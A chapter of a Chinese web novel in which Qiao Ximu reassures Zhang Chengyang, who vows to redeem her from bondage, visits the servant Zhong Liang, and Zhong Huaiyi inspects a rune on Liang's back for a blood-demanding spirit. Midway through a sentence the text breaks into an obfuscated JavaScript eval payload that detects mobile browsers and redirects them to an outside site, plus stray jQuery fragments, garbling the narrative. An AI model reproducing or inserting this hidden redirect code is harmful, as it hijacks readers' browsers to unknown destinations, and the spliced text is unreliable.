27. (二十七)豁达
    乔惜木站在门口等着张承阳,看见张承阳出来了,对着张承阳笑了一下,张承阳走向乔惜木,两人一同往前走着,张承阳总觉得自己应该说些什么安慰一下她,可是想了半天也不知道应该怎么开口,还是乔惜木看出来了直接开口问说:“张大人是有什么话想对我说吗?”

    乔惜木突然发问,张承阳下意识的想敷衍过去,可是想想还是说:“乔娘子,你也不要太难过。”

    “难过?”乔惜木立马就明白了他是什么意思:“张大人是觉得我从官家小姐变成罪臣之女,今日重见故人却是物是人非,会触景生情会哀痛欲绝吗?”

    张承阳不好意思承认,但是心里确实是这么想的。

    乔惜木明了:“倒也不会。”

    听到乔惜木的回答,张承阳惊讶的看着她,显然是没想到乔惜木会这样回答。

    “个人有个人的活法。”乔惜木说:“我阿公既然起了贪念,那就不可能全身而退,既要好处又不愿担后果,天下间没有那么好的事情,做错了事就要认,再后悔也该罚,就算我现在日子过得再不堪,那我总是要活下去的,我既然回了双溪镇,那今后这样的事只会多不会少,要是我每见一个故人就要伤心一下,那我以后也不用做其他的了,天天变着法伤心就好了。”

    “乔娘子真是豁达。”张承阳听了乔惜木的话不由得心生敬佩,不是人人都有这样的心智想清楚的,有多少人一朝跌落,不是被其他压死的,而是被自己活活怄死的,他的老师的家人就是这样的。

    “豁达谈不上。”乔惜木说:“可能是我现在的处境还没有那么差吧,说来要多谢张大人愿意将我留在身边,要是我现在身处弄霞馆,怕是活得没有现在体面,说起来也不怕张大人笑话,上次我去弄霞馆跟鸨母打招呼的时候,看到份点了我牌子的名单,讲恩的讲情的,上面可真有不少故人呢。”

    张承阳沉默了,乔惜木为什么会去弄霞馆张承阳是清楚的,听到乔惜木这么说,张承阳心中的愧疚感更甚,都怪他,不然乔娘子也不用平白遭受这些,同时也庆幸自己当时让乔娘子留了下来,张承阳转头看着乔惜木,只觉得乔娘子有勇有谋,这么好的人,怎么能身陷囹圄白白蹉跎一生呢?

    思及此,张承阳正色道:“乔娘子你放心,我一定想办法拿到文书,攒够银钱将你赎出来。”

    乔惜木闻言停下脚步,满脸不可置信的看着张承阳,接着自嘲的低头笑笑:“张大人还是莫要拿我寻开心了,空欢喜一场,才是真的叫人难过的。”

    见她不信自己,张承阳急了:“真的!”张承阳保证说:“我发誓,我一定会帮你!我一定会好好做事,待我做出功绩就将你的功劳一起上报,一定可以帮你求来文书脱籍的!”乔惜木看着张承阳,张承阳急迫的看着乔惜木的眼睛,坚定地说:“真的,你相信我!”

    张承阳的眼睛太真诚,印在乔惜木的眼睛里,亮晶晶的好像在闪着光,就那么一动不动的固执的看着她,无比期望她能相信自己,乔惜木就这么静静的看着他,看得张承阳逐渐泄了气,心里开始渐渐发虚的时候,乔惜木倏尔一笑:“好,我相信你。”

    本来已经开始慌乱了的张承阳因为这一句,心里立马又被信心填满了,他相信,自己一定可以帮乔惜木脱籍赎身的。

    乔惜木笑,张承阳看着她也不由自主的跟着笑,乔惜木眉眼弯弯,脸颊边的酒窝突然漾进了他心里,张承阳心里突然空了一下,眼睛落回到乔惜木的眉眼的时候,眼睫疯狂颤动,张承阳想移开眼睛又觉得有点太刻意,眼神四下奔逃了了一会儿才找到自己的归宿,敛下眸子自顾自地说了一句:“我们先回去吧。”就埋头往前走着躲了过去。

    “张大人。”乔惜木在身后追着张承阳喊了一句,张承阳没敢回头背对着问了一句:“怎么了?”

    “我们去钟府看一下梨安娘子吧?”乔惜木说:“她昨日好像伤得挺重的。”

    “梨安?”张承阳停下脚步奇怪的问了一句。

    “就是我们在林子里救下的春柳娘子。”乔惜木解释说:“钟公子现在给她改名为钟梨安了,我昨夜看见她伤得挺重的,心里有些担心,大人要同我一起去看一下吗?”

    张承阳了然:“我便不去了,既然已经从岁游娘子这里知道了昨夜的情况,我还是先回去处理一下公事安抚一下百姓,待得了空我再去吧。”

    “好,那大人慢走。”二人在街口分道扬镳,乔惜木就独自去了钟府,乔惜木去了钟府的侧门,跟侧门的小厮说明了来意,小厮去跟听松说了一声确认了身份就让乔惜木进去了。

    下人领着乔惜木一路到了钟梨安的屋子,钟梨安现在自己一个人住一间小屋子,乔惜木来了之后倒也不用担心有没有其他人过来打扰。

    “乔娘子。”钟梨安的问题不严重,要说多重的伤也不至于,只是被那些红线吸了血身体有些虚弱,不过钟梨安大小身体就壮实,除了面色苍白些也没有什么不舒服的,本来想去上工的,被钟怀熠勒令休息了,毕竟钟怀熠身边也不缺伺候的人,没必要抓着自己的救命恩人来驱使。

    钟梨安说是修养其实就是自己一个人呆在屋子里而已,突然闲下来有些不适应,本就无聊,现在乔惜木过来了能和她说说话他开心的不得了,把乔惜木迎进来之后就开始摆点心倒茶,招呼着乔惜木坐下:“乔娘子你怎么来了?你快坐。”

    “我来看看你。”乔惜木看着钟梨安一阵忙活,过去扶着她说:“我见你昨夜受了伤还好吗?快别忙活了,躺下去歇歇吧。”

    “不用,就这么点伤过两天就好了。”钟梨安拉着乔惜木坐下,毫不在意的把自己包扎着的右手拿给乔惜木看说:“你看,没什么的,还辛苦你跑一趟,你快尝尝这个点心,是家主给我的,很好吃的。”钟梨安招呼着乔惜木吃点心,自己倒是先吃起来了。

    “我看看。”乔惜木将钟梨安拉起来上上下下仔仔细细看了一圈,才点点头说:“嗯,看起来却是没什么大事,那梨安娘子你可有什么不舒服的地方?”

    两人坐下,钟梨安想了想说:“没有,其实我还好,若不是家主非要我休息,我反而觉得出去干活比躺在这里更自在一些。”说起这个,钟梨安激动的问乔惜木说:“乔娘子,你说我救了家主这么大的功劳,家主会给我什么奖赏啊?”

    乔惜木挑眉,惊讶于她的直白,问说:“所以你昨夜奋不顾身只是为了想要奖赏?”

    “当然。”钟梨安理所当然:“而且要是家主出了事,内知找我问罪怎么办?虽然当时是痛了一点,但是我好歹救了家主,有赏总比挨罚好。”

    “确实是这么个道理。”乔惜木点点头道:“放心吧,钟公子对待下人最宽仁,肯定会厚厚的赏你的。”

    “那这样就太好了。”钟梨安满怀憧憬的说:“这样我就可以赶快攒够赎身的钱,到时候说不定还能买几亩良田再好好盖个房子。”

    “你是签的死契还是身契?”乔惜木问说。

    死契是表示这个人连生死都是主人家决定的,身契只是卖身算是良奴,出了事要见官,主人家不得随意处置。

    “死契。”钟梨安说:“死契给的钱多,我本就是五岁的时候家里过不下去了把我卖了来换粮食的,自然就是哪个钱多签哪个了。”

    乔惜木了然的点点头,眼睛又在她身上滚了一圈,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14315188|150314||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    才说:“看见你没事儿我就放心了,我不打搅你休息了,先告辞了,等得空了我再来看你。”

    “好。”钟梨安起身说:“乔娘子我送送你吧。”

    “不用了。”乔惜木推辞。

    “要的要的。”钟梨安和乔惜木一起出门:“我都躺得脑袋疼了,刚好出去走走。”

    见此乔惜木也没有再推辞,两个人一起往侧门处走,刚路过花园,就有丫鬟来跟她说:“梨安,家主让你送走了乔娘子之后去书房找他一趟。”

    小丫鬟说完乔惜木转头看钟梨安,钟梨安点头应下:“好,杨柳,多谢你,我知道。”

    杨柳摆摆手:“话带到了,那我走了。”

    杨柳离开,两个人继续往前走,乔惜木眼神收回来和钟梨安闲聊说:“钟公子对你还挺上心的。”

    “毕竟我现在在家主身边伺候,可能找我有什么事吧。”钟梨安突然想到一种可能,心里有点隐秘的小欢喜:“你说不会是把我叫过去赏我东西吧?”

    “可能是。”乔惜木认同道:“那我就提前恭喜梨安娘子了。”

    “嘿嘿。”钟梨安觉得让自己猜中了:“多谢。”

    送走了乔惜木,钟梨安怀着心里的那份雀跃来到了钟怀熠的书房,敲了门进去,钟怀熠看见是她过来了,让她进来说:“坐。”

    钟梨安走进去坐下,又闻到了那股好闻的沉水香的味道,心里一下就安定下来了:“家主,您找我来有什么事吗?”

    钟怀熠坐到钟梨安旁边,钟梨安给钟怀熠倒了茶,钟怀熠接过来喝了一口问说:“你身体好些了吗?”

    “好些了。”钟梨安回答说:“劳烦家主挂心了。”

    “好些了就好。”钟怀熠说:“昨夜的事多谢你,幸亏你救了我,不然就出大事了。”

    听到钟怀熠提起昨夜的事,钟梨安的嘴角就抑制不住的想往上扬,但是钟梨安还是控制住了,开口道:“家主言重了,这都是奴婢应该做的事情。”

    “下次不要这么冒险了。”钟怀熠道:“平安最重要。”

    “奴婢记下了。”

    “这次的谢礼我已经让人送到你房里了,你刚受了伤,应当好好休息才是,就先回去吧。”

    听到有谢礼,钟梨安的心早就飞走了,可是还是规规矩矩的道谢说:“多谢家主,那奴婢就先告退了。”

    钟怀熠挥挥手,钟梨安就迫不及待地走了,钟怀熠看着钟梨安的背影,单手起了一个手势,口中轻轻念了一句:“阴阳俯仰,幽冥不屈,现!”话音刚落,钟怀熠就看到了钟梨安后背上出现了一道蓝色的符文,钟怀熠看到不仅松了一口气。

    乐苍苍现身坐在钟怀熠的肩上问:“怎么样?看到了吗?”

    “看到了。”钟怀熠道:“蓝色的。”

    “那就对了。”乐苍苍舔了舔爪子:“你现在就努力让符文变色就可以了。”

    “都会变成哪些颜色。”钟怀熠问。

    “很多。”乐苍苍回答说:“恨意是黑色的,爱意是灰色的,痛苦是白色的,思念是绿色的,就看那种情绪能先把那张符滋养好了。”说完乐苍苍不由得感叹:“还是你们凡人自己害同类方便啊,好下手,没阻碍,一击即中,所以——”乐苍苍飞到钟怀熠面前,亮出爪子对着他:“我要的血呢?”

    钟怀熠看着它,承诺:“我在想办法,我会尽快的。”

    乐苍苍的爪子搭在了钟怀熠的脖子说:“很好,还有昨夜那个东西我要要,只是他昨天受了重伤躲起来了,他躲着我我找不到他,你去找方驰野,想想办法让他带个路。”

    “好。”钟怀熠点头:“我明白了。”